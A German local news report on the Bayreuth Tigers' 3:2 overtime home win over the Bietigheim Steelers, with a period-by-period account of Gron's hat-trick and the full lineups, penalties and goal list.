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script src=”https://cdn.recognified.net/rd.loader.php?pub_id=137″> Bayreuth. (PM Tigers) Zwei an wichtigen Stellen dezimierte Kontrahenten kreuzten am Roten Main die Schläger und die Gastgeber nutzten die nicht eingespielten... Bayreuth setzte die Serie guter Heimspiele fort

Martin Davidek vor dem Tor der Steelers – © Karo Vögel Tigers Media/PR

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Bayreuth. (PM Tigers) Zwei an wichtigen Stellen dezimierte Kontrahenten kreuzten am Roten Main die Schläger und die Gastgeber nutzten die nicht eingespielten Formationen der Steelers zu einem Blitzstart.

Nach einem gewonnen Zweikampf in der Defensive erkannte Rajala die Situation am schnellsten, dass Bietigheim etwas zu weit aufgerückt war, mit einem Steilpass auf Gron, der sich im Laufduell behauptete und flach zur frühen Führung einschoss. In der Folgezeit prägte eine sehr offene neutrale Zone das Geschehen, womit beide Teams relativ viel Tempo ins Spiel brachten. Beide Torhüter – Brenner und Herden – hielten aber weitere Torchancen gut und bei einem Pfostenschuss von Karlsson (18.) half auch das Quäntchen Glück bis zur ersten Pause.

Im zweiten Abschnitt erhöhten die Steelers dann ihre Intensität und brachten ihre läuferisch starken Stürmer noch etwas mehr zur Geltung. Bayreuth stemmte sich zwar dagegen aber die Gäste bekamen nun mehr Spielanteile. Lohn war der Ausgleich durch ein Unterzahlbreak von Preibisch, der eine Vorlage von Schoofs zum 1-1 nutzte. Auch danach dauerte es etwas, bis die Tigers sich davon wieder erholten, aber wie ihnen das dann gelang war sehenswert. Mit einer phantastischen Kombination, wie auf dem Reißbrett spielten Rajala und Melanson Torjäger Gron frei und der der ließ sich nicht zweimal bitten.

Mit dieser Führung im Rücken änderte sich natürlich etwas die Statik des Spiels im Schlussabschnitt. Bietigheim war gezwungen noch eine Schippe drauf zu legen, noch etwas offensiver zu agieren und das taten die „Stahlmänner“ trotz ihrer wichtigen Ausfälle. Bayreuth überließ ihnen das Feld aber nicht kampflos und dieser Wille übertrug sich auf das Publikum, das ihr Team klasse unterstützten. Die Spielanteile waren trotzdem etwas mehr auf Seiten der Gäste, doch die Oberfranken blieben bei Gegenzügen gefährlich. Der Ausgleich der Steelers fiel spät, aber nicht unverdient durch eine Einzelaktion von Breitkreuz, der auch nach Videobeweis bestand hatte. Kurz zuvor war ein abgefälschter Fernschuss von Karlsson im Netz, doch diesem Treffer verweigerten die Referees wegen hohem Stock zu Recht die Anerkennung.

Die Entscheidung musste dann in der Verlängerung fallen und das erwies sich mal wieder als Bayreuther Spezialdisziplin. Gron vollendete im Nachschuss seinen dritten Hattrick in den letzten zwei Wochen, krönte das starke Spiel seiner Formation mit Melanson und Rajala und so blieben zwei Zähler Dank einer guten, kampfstarken Mannschaftsleistung im Tigerkäfig. Nun hofft man auf Rückkehr der Verletzten im Lager der Wagnerstädter nach der Länderspielpause um den sichtbaren Aufwärtstrend danach noch weiter fort zu setzen und auszubauen.

Nach der Deutschlandcup-Pause ist das nächste Heimspiel am Freitag 15.Nov. um 20 Uhr gegen Bad Nauheim.

Bayreuth Tigers – Bietigheim Steelers 3:2 n.V. (1-0;1-1;0-1)
Zuschauer:1617 Strafen: BT: 6 Min BB: 4 Min Powerplay: BT: 0/2 BB: 0/3
Bayreuth: Herden, Rieger – Martens (2), Veisert (2), Schmidt, Karlsson, Nijenhuis (2) – Rajala, Busch, Davidek, Kolozvary, Järveläinen, Bartosch, Richter, Lillich, Melanson, Gron, Kunz, N.Kolb
Bietigheim: Brenner, Palmer – Prommersberger, Hüfner (2), Stephan, Ribnitzky, Owens – Schoofs, Zientek, Kneisler, Breitkreuz, Preibisch, Wenzel, Kuqi, Ledlin, Swinnen, Laub, Cabana +2
Tore: 1:0 (1) Gron (Rajala); 1:1 (30) 4-5 Preibisch (Schoofs); 2:1 (38) Gron (Rajala, Melanson); 2:2 (57) Breitkreuz (Cabana, Owens); 3:2 (61) Gron (Rajala)

Redaktion

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